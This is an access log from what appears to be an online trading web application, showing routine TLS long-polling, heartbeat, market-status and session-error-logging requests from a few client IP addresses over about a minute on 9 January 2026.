[09/Jan/2026:13:31:47 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:31:49 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936994185 HTTP/1.1" -
[09/Jan/2026:13:31:49 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936976888 HTTP/1.1" -
[09/Jan/2026:13:31:49 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936978549 HTTP/1.1" -
[09/Jan/2026:13:31:50 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936986213 HTTP/1.1" -
[09/Jan/2026:13:31:51 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:31:51 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:31:52 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:31:52 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:31:54 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936981969 HTTP/1.1" -
[09/Jan/2026:13:31:54 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936983710 HTTP/1.1" -
[09/Jan/2026:13:31:55 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937000186 HTTP/1.1" -
[09/Jan/2026:13:31:55 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936991240 HTTP/1.1" -
[09/Jan/2026:13:31:59 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936986991 HTTP/1.1" -
[09/Jan/2026:13:32:00 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936988897 HTTP/1.1" -
[09/Jan/2026:13:32:00 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:32:00 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:32:00 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936996309 HTTP/1.1" -
[09/Jan/2026:13:32:00 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:32:00 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:32:01 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937006195 HTTP/1.1" -
[09/Jan/2026:13:32:04 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936992051 HTTP/1.1" -
[09/Jan/2026:13:32:05 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936994037 HTTP/1.1" -
[09/Jan/2026:13:32:05 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:32:05 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:32:05 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937001404 HTTP/1.1" -
[09/Jan/2026:13:32:05 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:32:06 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:32:07 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937012187 HTTP/1.1" -
[09/Jan/2026:13:32:09 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936997164 HTTP/1.1" -
[09/Jan/2026:13:32:10 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936999089 HTTP/1.1" -
[09/Jan/2026:13:32:11 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937006470 HTTP/1.1" -
[09/Jan/2026:13:32:13 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937018191 HTTP/1.1" -
[09/Jan/2026:13:32:14 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937002266 HTTP/1.1" -
[09/Jan/2026:13:32:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937004199 HTTP/1.1" -
[09/Jan/2026:13:32:16 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937011565 HTTP/1.1" -
[09/Jan/2026:13:32:16 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:32:16 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:32:17 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:32:17 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:32:19 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937024196 HTTP/1.1" -
[09/Jan/2026:13:32:19 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937007333 HTTP/1.1" -
[09/Jan/2026:13:32:20 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937009362 HTTP/1.1" -
[09/Jan/2026:13:32:21 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937016628 HTTP/1.1" -
[09/Jan/2026:13:32:21 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:32:21 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:32:22 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:32:22 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:32:24 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937012417 HTTP/1.1" -
[09/Jan/2026:13:32:25 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937030198 HTTP/1.1" -
[09/Jan/2026:13:32:25 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937014515 HTTP/1.1" -
[09/Jan/2026:13:32:26 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937021661 HTTP/1.1" -
[09/Jan/2026:13:32:29 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937017442 HTTP/1.1" -
[09/Jan/2026:13:32:30 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:32:30 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937019652 HTTP/1.1" -
[09/Jan/2026:13:32:30 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:32:30 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:32:30 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:32:31 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937026766 HTTP/1.1" -
[09/Jan/2026:13:32:31 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937036197 HTTP/1.1" -
[09/Jan/2026:13:32:34 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937022526 HTTP/1.1" -
[09/Jan/2026:13:32:35 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:32:35 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937024885 HTTP/1.1" -
[09/Jan/2026:13:32:36 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:32:36 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:32:36 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:32:36 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937031842 HTTP/1.1" -
[09/Jan/2026:13:32:37 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937042199 HTTP/1.1" -
[09/Jan/2026:13:32:38 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:32:38 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:32:38 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:32:38 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:32:40 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937027596 HTTP/1.1" -
[09/Jan/2026:13:32:41 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937029960 HTTP/1.1" -
[09/Jan/2026:13:32:41 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937036936 HTTP/1.1" -
[09/Jan/2026:13:32:43 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937048187 HTTP/1.1" -
[09/Jan/2026:13:32:45 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937032654 HTTP/1.1" -
[09/Jan/2026:13:32:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937035019 HTTP/1.1" -
[09/Jan/2026:13:32:46 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937042013 HTTP/1.1" -
[09/Jan/2026:13:32:46 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:32:47 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:32:47 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:32:47 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:32:49 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937054184 HTTP/1.1" -
[09/Jan/2026:13:32:50 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937037719 HTTP/1.1" -
[09/Jan/2026:13:32:51 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937040164 HTTP/1.1" -
[09/Jan/2026:13:32:51 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:32:51 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:32:51 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937047121 HTTP/1.1" -
[09/Jan/2026:13:32:52 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:32:52 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:32:55 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937042781 HTTP/1.1" -
[09/Jan/2026:13:32:55 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937060197 HTTP/1.1" -
[09/Jan/2026:13:32:56 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937045306 HTTP/1.1" -
[09/Jan/2026:13:32:56 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937052147 HTTP/1.1" -
[09/Jan/2026:13:33:00 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937047818 HTTP/1.1" -
